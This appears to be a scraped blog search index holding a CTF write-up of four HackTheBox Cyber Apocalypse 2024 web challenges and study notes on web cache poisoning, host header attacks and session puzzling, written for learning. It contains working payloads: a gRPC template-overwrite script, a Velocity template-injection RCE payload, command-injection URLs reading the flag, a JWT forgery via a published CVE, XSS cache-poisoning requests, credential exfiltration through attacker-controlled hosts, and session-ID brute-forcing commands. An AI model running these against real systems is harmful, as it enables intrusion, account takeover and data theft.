Testifier\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; } } This is done by changing the path of public/testimonials to the root directory /, in this way it will read all the files inside the root directory, which is where the flag is located.\nI use copilot to help me build a script in go that:\nSet up a connection to the server Use the connection to create a new client Create a TestimonialSubmission message (replacing public/testimonial to /) Call the SubmitTestimonial method package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; pb \u0026#34;pb\u0026#34; \u0026#34;google.golang.org/grpc\u0026#34; ) func main() { // Set up a connection to the server. conn, err := grpc.Dial(\u0026#34;83.136.249.230:43168\u0026#34;, grpc.WithInsecure()) if err != nil { log.Fatalf(\u0026#34;Did not connect: %v\u0026#34;, err) } defer conn.Close() // Use the connection to create a new client client := pb.NewRickyServiceClient(conn) // Create a TestimonialSubmission message testimonial := \u0026amp;pb.TestimonialSubmission{ Customer: \u0026#34;../../view/home/index.templ\u0026#34;, Testimonial: \u0026#34;package home\\n\\nimport (\\n\\t\\\u0026#34;os\\\u0026#34;\\n)\\n\\ntempl Index() {\\n\\t@layout.App(true) {\\n\u0026lt;div class=\\\u0026#34;container\\\u0026#34;\u0026gt;\\n \u0026lt;section\u0026gt;\\n \u0026lt;div class=\\\u0026#34;row\\\u0026#34;\u0026gt;\\n @Testimonials()\\n \u0026lt;/div\u0026gt;\\n \u0026lt;/section\u0026gt;\\n\u0026lt;/div\u0026gt;\\n}\\n\\nfunc GetTestimonials() []string {\\n\\tfsys := os.DirFS(\\\u0026#34;/\\\u0026#34;)\\n\\tfiles, err := fs.ReadDir(fsys, \\\u0026#34;.\\\u0026#34;)\\n\\tif err != nil {\\n\\t\\treturn []string{fmt.Sprintf(\\\u0026#34;Error reading testimonials: %v\\\u0026#34;, err)}\\n\\t}\\n\\tvar res []string\\n\\tfor _, file := range files {\\n\\t\\tfileContent, _ := fs.ReadFile(fsys, file.Name())\\n\\t\\tres = append(res, string(fileContent))\\n\\t}\\n\\treturn res\\n}\\n\\ntempl Testimonials() {\\n for _, item := range GetTestimonials() {\\n \u0026lt;div\u0026gt;\\n \u0026lt;p\u0026gt;{item}\u0026lt;/p\u0026gt;\\n \u0026lt;/div\u0026gt;\\n }\\n}\u0026#34;, } // Call the SubmitTestimonial method ctx := context.Background() _, err = client.SubmitTestimonial(ctx, testimonial) if err != nil { log.Fatalf(\u0026#34;Could not submit testimonial: %v\u0026#34;, err) } } As you can see, in the testimonial parameter the entire content of the index.templ template is sent, to overwrite this file and display the content of the files in the / path.\nBefore running the script, we change the path of the pb package with the path of the pb folder of the challenge, in my case I copied it to the path /usr/local/go/src/pb to call it directly\nGet the flag. 🎉 It was cool to learn about grpc and golang as well. Thanks HackTheBox. :)\nLabyrinth Linguist You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.\n🐳 Instancer 📦 web_labyrinth_linguist.zip This was a nice opportunity to see Velocity Set directive in action.\nBy looking at the file structure and the web ui I could tell it’s a Java app that renders English text into Voxalith (kind of strange language)\nLooking at this part of the code in main.java, it reads the content of index.html file and stores it in the template string. Then getRuntimeServices() initializes the Velocity runtime services and a new Velocity template object is created.\nString template = \u0026#34;\u0026#34;; try { template = readFileToString(\u0026#34;/app/src/main/resources/templates/index.html\u0026#34;, textString); } catch (IOException e) { e.printStackTrace(); } RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); StringReader reader = new StringReader(template); org.apache.velocity.Template t = new org.apache.velocity.Template(); t.setRuntimeServices(runtimeServices); The following code is responsible to read the content of a file specified by filePath and store it in a StringBuilder named content. So it will replace occurrences of \u0026quot;TEXT\u0026quot; in each line with the replacement string.\nThe vulnerability arises because the replacement string is inserted into the file content without any validation or sanitation.\npublic static String readFileToString(String filePath, String replacement) throws IOException { StringBuilder content = new StringBuilder(); BufferedReader bufferedReader = null; try { bufferedReader = new BufferedReader(new FileReader(filePath)); String line; while ((line = bufferedReader.readLine()) != null) { line = line.replace(\u0026#34;TEXT\u0026#34;, replacement); content.append(line); content.append(\u0026#34;\\n\u0026#34;); } } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException e) { e.printStackTrace(); } } } return content.toString(); } Researching about Velocity Framework vulnerabilities I came across this research. Apache Velocity Server-Side Template Injection - IWConnect\nThis blog explain that Velocity has directives. And one of them is the #set directive. With that directive you can execute system command through Java Classes and Constructors.\nSo, then I modified the payload that it shows us to obtain RCE.\nimport requests def sendPayload(payload): url = \u0026#34;http://94.237.48.205:58185/\u0026#34; result1 = requests.post(url, data={\u0026#34;text\u0026#34;: payload}).text return result1 payload = \u0026#39;\u0026#39;\u0026#39; #set($s=\u0026#34;\u0026#34;) #set($stringClass=$s.getClass()) #set($stringBuilderClass=$stringClass.forName(\u0026#34;java.lang.StringBuilder\u0026#34;)) #set($inputStreamClass=$stringClass.forName(\u0026#34;java.io.InputStream\u0026#34;)) #set($readerClass=$stringClass.forName(\u0026#34;java.io.Reader\u0026#34;)) #set($inputStreamReaderClass=$stringClass.forName(\u0026#34;java.io.InputStreamReader\u0026#34;)) #set($bufferedReaderClass=$stringClass.forName(\u0026#34;java.io.BufferedReader\u0026#34;)) #set($collectorsClass=$stringClass.forName(\u0026#34;java.util.stream.Collectors\u0026#34;)) #set($systemClass=$stringClass.forName(\u0026#34;java.lang.System\u0026#34;)) #set($stringBuilderConstructor=$stringBuilderClass.getConstructor()) #set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass)) #set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass)) #set($runtime=$stringClass.forName(\u0026#34;java.lang.Runtime\u0026#34;).getRuntime()) #set($process=$runtime.exec(\u0026#34;cat ../flagc713d64c65.txt\u0026#34;)) #set($null=$process.waitFor() ) #set($inputStream=$process.getInputStream()) #set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream)) #set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader)) #set($stringBuilder=$stringBuilderConstructor.newInstance()) #set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator()))) RCE is there. 🥳\nOr we can send only the payload directly into the input field, click submit and retrieve the flag.\nGet the flag. 🎉\nTimeKORP Are you ready to unravel the mysteries and expose the truth hidden within KROP\u0026rsquo;s digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.\n🐳 _Instancer_ 📦 ![web_timekorp.zip](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/zip/web_timekorp.zip) By looking at the file structure I could tell it’s a PHP app that shows the time in a format that is sent by the URL.\nIn TimeController.php the format value is set, if the parameter is not sent, %H:%M:%S is set by default. Then passes it to the TimeModel class.\n$format = isset($_GET[\u0026#39;format\u0026#39;]) ? $_GET[\u0026#39;format\u0026#39;] : \u0026#39;%H:%M:%S\u0026#39;; $time = new TimeModel($format); In TimeModel.php, the format value will be passed in the public function __construct, this value is directly passed to exec() function. Using the exec() function is very dangerous since with a lack of sanitation it is possible to execute system commands.\nclass TimeModel { public function __construct($format) { $this-\u0026gt;command = \u0026#34;date \u0026#39;+\u0026#34; . $format . \u0026#34;\u0026#39; 2\u0026gt;\u0026amp;1\u0026#34;; } public function getTime() { $time = exec($this-\u0026gt;command); $res = isset($time) ? $time : \u0026#39;?\u0026#39;; return $res; } } So this is where Command Injection is happening, this line runs a shell command, with the format value received from the URL.\n$this-\u0026gt;command = \u0026#34;date \u0026#39;+\u0026#34; . $format . \u0026#34;\u0026#39; 2\u0026gt;\u0026amp;1\u0026#34;; We can break the string by prefixing input with a ' single-quote, then enter our command separator like | or ; and then avoid the redirection at the end with adding a trailing # comment to our input.\nSo our request look like this:\nhttp://94.237.62.244:57142/?format=%Y-%m-%d\u0026#39;|id+%23 RCE is there. 🥳\nThe last step is to run cat /flag and that will print the flag.\nhttp://94.237.62.244:57142/?format=%Y-%m-%d%27|cat+/flag+%23 Get the flag. 🎉\nLockTalk In \u0026ldquo;The Ransomware Dystopia,\u0026rdquo; LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force\u0026hellip;\n🐳 Instancer 📦 web_locktalk.zip By looking at the file structure I could tell it’s a Python app that shows different endpoints.\nThe main objective is to get acces to /api/v1/flag endpoint as an user with administrator role.\n@api_blueprint.route(\u0026#39;/get_ticket\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) def get_ticket(): claims = { \u0026#34;role\u0026#34;: \u0026#34;guest\u0026#34;, \u0026#34;user\u0026#34;: \u0026#34;guest_user\u0026#34; } token = jwt.generate_jwt(claims, current_app.config.get(\u0026#39;JWT_SECRET_KEY\u0026#39;), \u0026#39;PS256\u0026#39;, datetime.timedelta(minutes=60)) return jsonify({\u0026#39;ticket\u0026#39;: token}) @api_blueprint.route(\u0026#39;/chat/\u0026lt;int:chat_id\u0026gt;\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) @authorize_roles([\u0026#39;guest\u0026#39;, \u0026#39;administrator\u0026#39;]) def chat(chat_id): json_file_path = os.path.join(JSON_DIR, f\u0026#34;{chat_id}.json\u0026#34;) if os.path.exists(json_file_path): with open(json_file_path, \u0026#39;r\u0026#39;) as f: chat_data = json.load(f) chat_id = chat_data.get(\u0026#39;chat_id\u0026#39;, None) return jsonify({\u0026#39;chat_id\u0026#39;: chat_id, \u0026#39;messages\u0026#39;: chat_data[\u0026#39;messages\u0026#39;]}) else: return jsonify({\u0026#39;error\u0026#39;: \u0026#39;Chat not found\u0026#39;}), 404 @api_blueprint.route(\u0026#39;/flag\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) @authorize_roles([\u0026#39;administrator\u0026#39;]) def flag(): return jsonify({\u0026#39;message\u0026#39;: current_app.config.get(\u0026#39;FLAG\u0026#39;)}), 200 The different endpoints are observed, to access /flag, the administrator role is needed, it is also observed that a JWT is being created with the PS256 algorithm and an expiration time of 60 minutes.\nFirst we need to retrieve the JWT in /api/v1/get_ticket endpoint, but its kind of protected as shown in the image below.\nInspecting the haproxy.conf file, we see that the HAProxy is denying requests to endpoints starting with /api/v1/get_ticket.\nglobal daemon maxconn 256 defaults mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms frontend haproxy bind 0.0.0.0:1337 default_backend backend http-request deny if { path_beg,url_dec -i /api/v1/get_ticket } backend backend balance roundrobin server s1 0.0.0.0:5000 maxconn 32 check To bypass the rule, we can use multiple slashes // or /./ to retrieve the ticket.\nuwsgi Flask requests python_jwt==3.3.3 Looking at the requirements.txt file, it is observed that the python_jwt version 3.3.3 used is deprecated and has an associated CVE, the CVE-2022-39227\nuser0x1337/CVE-2022-39227: CVE-2022-39227 : Proof of Concept (github.com)\nAccording to this CVE, there is a flaw in the JSON Web Token verification. It is possible with a valid token to re-use its signature with modified claims.\nWe will download the python script and run it with the JWT that we did not obtain from the endpoint /api/v1/get_ticket , and we will change the role from guest to administrator.\npython3 cve_2022_39227.py -j herecomesyourtoken -i \u0026#34;role=administrator\u0026#34; The return value is a mix form of JSON and compact representation. You need to paste the entire value including \u0026ldquo;{\u0026rdquo; and \u0026ldquo;}\u0026rdquo; as your new JWT Web token.\nAuthorization: {\u0026#34; eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTY2NTAsImlhdCI6MTcxMDM5MzA1MCwianRpIjoiS1dIQVhUeWRUWXhJWHdlWjIwMU5VUSIsIm5iZiI6MTcxMDM5MzA1MCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;protected\u0026#34;:\u0026#34;eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9\u0026#34;, \u0026#34;payload\u0026#34;:\u0026#34;eyJleHAiOjE3MTAzOTY2NTAsImlhdCI6MTcxMDM5MzA1MCwianRpIjoiS1dIQVhUeWRUWXhJWHdlWjIwMU5VUSIsIm5iZiI6MTcxMDM5MzA1MCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ\u0026#34;,\u0026#34;signature\u0026#34;:\u0026#34;s-TtAkIi6JBvYqfdx9H8oWF5mA4-tOWPKGfv3rCPlIrA8ncyMgC9Ltobo_gk9GXaj9LmydRKKJPpYuCPsf8IFEmI3ex7LRx6mm84jKhTYQh09_X2U7TToEx-OEFdL7yz0OGKCQOLdBHiEYXVTGWnwIuP8tunOmws2OyVKH3FFI1SgtKAo7RtgwxD6spZBiv3R75B55mp8RDFMzh4luqmXMfV0sSw-mA8zRnr9J2Kb3Cpab88d-3HzQm99wrtwOM-t35ZDUsSFHw4CRyN4XQyuwvHlz2dltUjb8ZnPR7U8naiaSbC0MJIBmPezP26FKGpcpQpBtX5pg01zoKAu7C6OQ\u0026#34;} Then we just have to copy the modified JWT to access the endpoint /api/v1/flag.\nGet the flag. 🎉\n","permalink":"https://blog.s4yhii.com/posts/2024-03-14-cyberapocalypse-ctf2024-web/","summary":"\u003cp\u003eI participated as a member of team \u003cstrong\u003eCibersecUNI\u003c/strong\u003e. In the web category we solved 6/9 challenges as a team. In this writeup I will go through the ones that I have solved:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#testimonial\"\u003eTestimonial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#labyrinth-linguist\"\u003eLabyrinth Linguist\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#timekorp\"\u003eTimeKORP\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#locktalk\"\u003eLocktalk\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"testimonial\"\u003eTestimonial\u003c/h1\u003e\n\u003cp\u003eAs the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction\u0026rsquo;s hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.\u003c/p\u003e","title":"Cyber Apocalypse 2024 - 4x Web Challenges Writeup"},{"content":"Web cache Poisoning Web cache poisoning is not web cache deception, is not response splitting or request smuggling web cache deception tricking caches into storing sensitive information so the attackers can access to it. web cache poisoning is serve payloads to users via cache responses Cache keys: The unique identifier that the server wont cache (refresh based on that: only host + path) \u0026ldquo;Everything that is not part of the cache key is part of the cache poisoning attack surface\u0026rdquo;\nHow To find Web Cache poisoning Identify unkeyed input: http header or cookie Look up if I can done anything interested (use param miner) Specify a random cache buster(a parameter to change its value every request): if I don\u0026rsquo;t do this, i will receive the cache response and not the unkeyed inputs injected Try to getting save in the cache Case studies: Trusting headers Based on this no cache header, you may think that is safe, but not Use X-Forwarded-Header to inject an unkeyed input The parameter ?safe=1 us used to cache to this specific path and not to the main page\nSeizing the Cache In this Age specifies the exact second that this response will expire to the cache, so in the exact second the cache expires we need to spam the request in order to cache our request.\nSelective Poisoning This Vary: User-Agent Header is telling to the cache to add the user agent to the cache key, so this request will poisoning the cache for other people using the same browser.\nWeb cache configuration http { proxy_cache_path /cache levels=1:2 keys_zone=STATIC:10m inactive=24h max_size=1g; server { listen 80; location / { proxy_pass http://172.17.0.1:80; proxy_buffering on; proxy_cache STATIC; proxy_cache_valid 2m; proxy_cache_key $scheme$proxy_host$uri$args; add_header X-Cache-Status $upstream_cache_status; } } } proxy_cache_path sets general parameters of the cache like the storage location proxy_pass sets the location of the web server proxy_buffering enables caching proxy_cache sets the name of the cache (as defined in proxy_cache_path) proxy_cache_valid sets the time after which the cache expires proxy_cache_key defines the cache key add_header adds the X-Cache-Status header to responses to indicate whether the response was cached Example of non-cached and cached requests: Identify Unkeyed Params Use this headers to determine if the content served is a cached response or not, check the cache-control response header in the response, how many seconds the response remains refresh: Cache-Control: no-cache Pragma: no-cache (deprecated)\nWhen we send a different value in language parameter, we can see that the response differs and we get a ceche miss, therebefore the language parameter has to be keyed.\nBoth the language parameter and content are KEYED The ref parameter is unkeyed, now we need to find how this parameter influence in the response content (maybe reflected) Payload XSS in Unkeyed Parameter\n\u0026#34;\u0026gt;\u0026lt;script\u0026gt;var xhr=new XMLHttpRequest();xhr.open(\u0026#39;GET\u0026#39;,\u0026#39;/admin.php?reveal_flag=1\u0026#39;,true);xhr.withCredentials=true;xhr.send();\u0026lt;/script\u0026gt; GET /index.php?language=de\u0026amp;ref=%22%3E%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();xhr.open(%27GET%27,%20%27/admin.php?reveal_flag=1%27,%20true);xhr.withCredentials%20=%20true;xhr.send();%3C/script%3E HTTP/1.1 Host: webcache.htb Payload XSS in Unkeyed Headers\nGET /index.php?language=de HTTP/1.1 Host: webcache.htb X-Backend-Server: testserver.htb\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;script\u0026gt;var xhr=new XMLHttpRequest();xhr.open(\u0026#39;GET\u0026#39;,\u0026#39;/admin.php?reveal_flag=1\u0026#39;,true);xhr.withCredentials=true;xhr.send();// Impact XSS Unkeyed cookies\nGET /index.php HTTP/1.1 Host: webcache.htb Cookie: consent=1; if this response is cached, all other users will that visit the website are server content as if they already consented, also if color=blue cookie is cached, all other uses will still get server the blue layout if they previously choosen another color.\nDOS\nGET / HTTP/1.1 Host: webcache.htb:80 If normalization is applied (stripping the port), this request will translate to this\nHTTP/1.1 302 Found Location: http://webcache.htb:80/index.php So, if we change the host to webcache.htb:1337, all users will be redirected to this port and achieve DOS.\nCache Busters In real cases, we need a unique cache key that we only use, so we get server the poisoned response and no real users are affected\nGET /index.php?language=unusedvalue\u0026amp;ref=\u0026#34;\u0026gt;\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; HTTP/1.1 Host: webcache.htb Advanced Techniques Fat Get Basically GET request with request body (any method can contain request body but not necessarily effect), but is the server is misconfigured we can pass the keyed parameters in the request to cache the server.\nThis means our first request poisoned the cache with our injected fat GET parameter, but the web cache correctly uses the GET parameter in the URL to determine the cache key.\nGET /index.php?language=de HTTP/1.1 Host: fatget.wcp.htb Content-Length: 142 ref=\u0026#34;\u0026gt;\u0026lt;script\u0026gt;var xhr = new XMLHttpRequest();xhr.open(\u0026#39;GET\u0026#39;, \u0026#39;/admin.php?reveal_flag=1\u0026#39;, true);xhr.withCredentials = true;xhr.send();\u0026lt;/script\u0026gt; Parameter Cloaking Payload with all ; URL encoded:\nref=a%22%3E%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest()%3Bxhr.open(%27GET%27,%20%27/admin.php?reveal_flag=1%27,%20true)%3Bxhr.withCredentials%20=%20true%3Bxhr.send()%3B%3C/script%3E The web cache sees two GET parameters: language with the value en and a with the value b;language=de. On the other hand, Bottle sees three parameters: language with the value en, a with the value b, and language with the value de. Since Bottle prefers the last occurrence of each parameter, the value de overrides the value for the language parameter. Thus, Bottle serves the response containing the German text. Since the parameter a is unkeyed, the web cache stores this response for the cache key language=en.\nGET /?language=en\u0026amp;a=b;language=de HTTP/1.1 Host: cloak.wcp.htb sent multiple parameters with ; (separator) a, b are unkeyed parameter (we need to use unkeyed to append keyed (language)) language, content and ref are keyed\nGET /?language=de\u0026amp;a=b;ref=%22%3E%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest()%3bxhr.open(%27GET%27,%20%27/admin?reveal_flag=1%27,%20true)%3bxhr.withCredentials%20=%20true%3bxhr.send()%3b%3C/script%3E HTTP/1.1 Host: cloak.wcp.htb Exercise Web Cache 1 (GET FAT) Parameter content and language are keyed This is a get fat exercise, so i need to send language parameter in the GET request body. Since in the hint says the admin will accesses the URL /index.php?language=de, I need to only key this argument like this. !Flag delivered: HTB{6f4c51837d8148cb8dc66beb14003706} Exercise Web Cache 2(Parameter Cloaking ) This is the original request, the hint says the admin will visit /?language=de, so we need to poison this parameter appending a=b;language=payload.\nPayload:?language=de\u0026amp;a=b;language=%22%3E%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest()%3bxhr.open(%27GET%27,%20%27/admin?reveal_flag=1%27,%20true)%3bxhr.withCredentials%20=%20true%3bxhr.send()%3b%3C/script%3E We see the payload reflected in the response (stored xss), so the server cached the response and a request to /?language=de will serve the payload to admin.\nFlag delivered!: HTB{cac766b823bbd388727162d634fa7503} Host Header Attacks Common web server configuration:\n\u0026lt;VirtualHost *:80\u0026gt; DocumentRoot \u0026#34;/var/www/testapp\u0026#34; ServerName testapp.htb \u0026lt;/VirtualHost\u0026gt; \u0026lt;VirtualHost *:80\u0026gt; DocumentRoot \u0026#34;/var/www/anotherdomain\u0026#34; ServerName anotherdomain.org \u0026lt;/VirtualHost\u0026gt; Override Headers X-Forwarded-Host X-HTTP-Host-Override Forwarded X-Host X-Forwarded-Server x-http-method-override: POST (overrides the method, check purge or head) content-type: s4yhii (test for invalid header make unavailable a web or repo) x-forwarded-scheme: http (make a content unavailable, combine with x-forwarded-host)\nAuth bypass via host header Change Host header to localhost to access admin areas Fuzz for different ipv4 ips. for a in {1..255};do for b in {1..255};do echo \u0026#34;192.168.$a.$b\u0026#34; \u0026gt;\u0026gt; ips.txt done done ffuf -u http://IP:PORT/admin.php -w ips.txt -H \u0026#39;Host: FUZZ\u0026#39; -fs 752 Exercise Password Reset Poisoning Send a request with the email of the victim and a manipulated host header that points to a domain under our control. The webapp uses the manipulated host header to construct the password reset link such that the link points to our domain. When the victim now clicks the password reset link, we will be able to see the request on our domain.\nExercise Sending http request with an override host header like X-Forwarded-Host pointing to our controlled server and the email of the victim (admin account) Use this url to change the admin password.\nWeb cache poisoning If you have web cache poison in a login.php endpoint, you can use override headers to point to a server u own and exfiltrate the creds, use GET parameter to posing the cache.\nExercice First we enter a cache buster to test this attack, to send to the admin we will erase this cache buster, and we add X-Host header to override the host header in the response, this can lead to posing the action form and send the creds with us\nThe admin accesses the URL http://admin.hostheaders.htb/login.php\nFinal POC Request to steal admin creds\nExercice Bypass flawed validation Bypassing blacklist filters for localhost:\nDecimal encoding: 2130706433 Hex encoding: 0x7f000001 Octal encoding: 0177.0000.0000.0001 Zero: 0 Short form: 127.1 IPv6: ::1 External domain that resolves to localhost: localtest.me Session Puzzling Stateful: Set-Cookie: PHPSESSID=hvplcmsh88ja77r3dutanmn68u; Stateless: Set-Cookie: auth_token=eyfefefJ\u0026hellip;\u0026hellip;.\n\u0026lt;?php require_once (\u0026#39;db.php\u0026#39;); session_start(); // login if(check_password($_POST[\u0026#39;username\u0026#39;], $_POST[\u0026#39;password\u0026#39;])) { $_SESSION[\u0026#39;user_id\u0026#39;] = get_user_id($username); header(\u0026#34;Location: profile.php\u0026#34;); die(); } else { echo \u0026#34;Unauthorized\u0026#34;; } // logout if(isset($_POST[\u0026#39;logout\u0026#39;])) { $_SESSION[\u0026#39;user_id\u0026#39;] = 0; } ?\u0026gt; user_id is set to zero when logging out, so if zero is a valid user id, for instance for the admin user, the user could access /profile.php and find that he is logged as admin user.\nWeak session IDs #create wordlist with 4 characters crunch 4 4 \u0026#34;abcdefghijklmnopqrstuvwxyz1234567890\u0026#34; -o wordlist.txt #fuzz for weak session ids ffuf -u http://127.0.0.1/profile.php -b \u0026#39;sessionID=FUZZ\u0026#39; -w wordlist.txt -fc 302 -t 10 To analyze the entropy of session IDs, we can use Burp Sequencer. To do so, we right-click the login request in Burp and click on Send to Sequencer. Afterward, switch to the Sequencer Tab. Make sure that Burp automatically detected the session cookie in the Token Location Within Response field and that the Cookie option is selected. We could also specify a custom location if we wanted to analyze the entropy of a different field in the response. Afterward, start the live capture.\nCommon Session Variables (Auth Bypass) 1ST takeaway: In multi step reset password flow, if the flow has 3 steps, omit the second step, usually verification (2fa, sms, etc) and reset the pass with the third step.\n2ND takeaway: enter Forgot Password? and enter the username admin. Afterward, access the post-login endpoint at /profile.php directly. We are now logged in as the admin user by exploiting our first session puzzling vulnerability. This happens because of this code\n\u0026lt;SNIP\u0026gt; if(isset($_POST[\u0026#39;Submit\u0026#39;])){ $_SESSION[\u0026#39;Username\u0026#39;] = $_POST[\u0026#39;Username\u0026#39;]; header(\u0026#34;Location: reset_2.php\u0026#34;); exit; } \u0026lt;SNIP\u0026gt; \u0026lt;SNIP\u0026gt; if(!isset($_SESSION[\u0026#39;Username\u0026#39;])){ header(\u0026#34;Location: login.php\u0026#34;); exit; } \u0026lt;SNIP\u0026gt; See that the session variable username is set by forgot password flow and the auth code only checks if the variable is set.\nExercise Send a request with admin user in forgot password, remember the cookie the user is set to admin in this session cookie, so we only need to visit profile.php with this cookie without authentication.\nPremature Session Population (Auth Bypass) The login process sets the session variables that determine whether a user is authenticated or not before the result of the authentication is known, which is before the user\u0026rsquo;s password is checked. The variables are only unset if the redirect to /login.php?failed=1 is sent\nif(isset($_POST[\u0026#39;Submit\u0026#39;])){ $_SESSION[\u0026#39;Username\u0026#39;] = $_POST[\u0026#39;Username\u0026#39;]; $_SESSION[\u0026#39;Active\u0026#39;] = true; // check user credentials if(login($Username, $_POST[\u0026#39;Password\u0026#39;])) { header(\u0026#34;Location: profile.php\u0026#34;); exit; } else { header(\u0026#34;Location: login.php?failed=1\u0026#34;); exit; } } if (isset($_GET[\u0026#39;failed\u0026#39;])) { session_destroy(); session_start(); } Exercise Change failed= 1 with success=1 Common Session Variables (Account Takeover) This session puzzling vulnerability is the result of the re-use of the same session variable to store the phase of two different processes. If these processes are executed concurrently, it is possible to skip the security question of the password reset process, thus leading to account takeover.\nExercise: primero ir a register colocar admin en register_1, luego ir a reset_1 colocar admin, seguir con register_2 y aceptar. Saltar a reset_3 y configurar la nueva password. Al ingresar piden MFA, por ello volveremos a register_1 para hacer register_1 y register_2, finalmente volveremos al MFA y entraremos a profile.php.\nPrevention Never set sessionid by default to 0, when log out for example.\n// login if(check_password($_POST[\u0026#39;username\u0026#39;], $_POST[\u0026#39;password\u0026#39;])) { $_SESSION[\u0026#39;user_id\u0026#39;] = get_user_id($username); header(\u0026#34;Location: profile.php\u0026#34;); die(); } else { echo \u0026#34;Unauthorized\u0026#34;; } // logout if(isset($_POST[\u0026#39;logout\u0026#39;])) { $_SESSION[\u0026#39;user_id\u0026#39;] = 0; } Common Session Variables\nnever re-use session variables for different processes on the web application since it can be hard to keep track of how the different processes intertwine and may be combined to bypass certain checks. Additionally, a separate session variable should be used to keep track of whether a user is currently logged in. Following is a simple improved example:\nif(isset($_POST[\u0026#39;Submit\u0026#39;])){ if(login($_POST[\u0026#39;Username\u0026#39;], $_POST[\u0026#39;Password\u0026#39;])) { $_SESSION[\u0026#39;auth_username\u0026#39;] = $_POST[\u0026#39;Username\u0026#39;]; $_SESSION[\u0026#39;is_logged_in\u0026#39;] = true; header(\u0026#34;Location: profile.php\u0026#34;); exit; } else { \u0026lt;SNIP\u0026gt; } } Premature population\nDue to the premature population of the session variables, the user is thus considered logged in by the web server before the password is checked. This can easily be prevented by ensuring that the session variables are not populated prematurely, but only after the login process has been completed: ```php if(isset($_POST[\u0026lsquo;Submit\u0026rsquo;])){ $_SESSION[\u0026rsquo;login_fail_user\u0026rsquo;] = $_POST[\u0026lsquo;Username\u0026rsquo;];\nif(login($_POST['Username'], $_POST['Password'])) { $_SESSION['auth_username'] = $_POST['Username']; $_SESSION['is_logged_in'] = true; header(\u0026quot;Location: profile.php\u0026quot;); exit; } else { header(\u0026quot;Location: login.php?failed=1\u0026quot;); exit; } } if (isset($_GET[\u0026lsquo;failed\u0026rsquo;])) { echo \u0026ldquo;Login failed for user \u0026quot; . $_SESSION[\u0026rsquo;login_fail_user\u0026rsquo;]; session_start(); session_unset() session_destroy(); }\n- Completely unset session variables instead of setting a default value at re-initialization - Use a single session variable only for a single, dedicated purpose - Only populate a session variable if all prerequisites are fulfilled and the corresponding process is complete # Skill Assessment ## Easy Login with you normal creds ![](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020240211075912.png) You cant access admin area ![](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020240211075940.png) In order to populate the username variable we use reset password function ![](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020240211080024.png) After clic in submit the flag appears ![](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020240211080105.png) ## Hard After loggin with normal creds we see this message ![](https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020240211080641.png) so we now have a clue where to poison the cache, we see the parameters sort_by and utm_source, sort_by is unkeyed, so we use this via parameter cloacking to poison the cache, also we verifiy where is injected our payload to make the correct one ```http /admin/users.html?sort_by=role\u0026amp;utm_source=users.html;sort_by=\u0026#34;)\u0026lt;/script\u0026gt;\u0026lt;script\u0026gt;var+xhr+%3d+new+XMLHttpRequest()%3bxhr.open(\u0026#39;GET\u0026#39;,+\u0026#39;/admin/promote%3fuid%3d2\u0026#39;,+true),xhr.send()%3b\u0026lt;/script\u0026gt; Then for the other part, we need to exfiltrate the pin, we found the Forwarded Header is unkeyed and is reflected in response so we use this header to inject our interactsh.local url without the cache buster a=xd.and refresh=1\nGet the flag. 🎉 Thanks for read, Happy hacking and always try harder!\n","permalink":"https://blog.s4yhii.com/posts/2024-02-10-web-cache-poisoning/","summary":"\u003ch1 id=\"web-cache-poisoning\"\u003eWeb cache 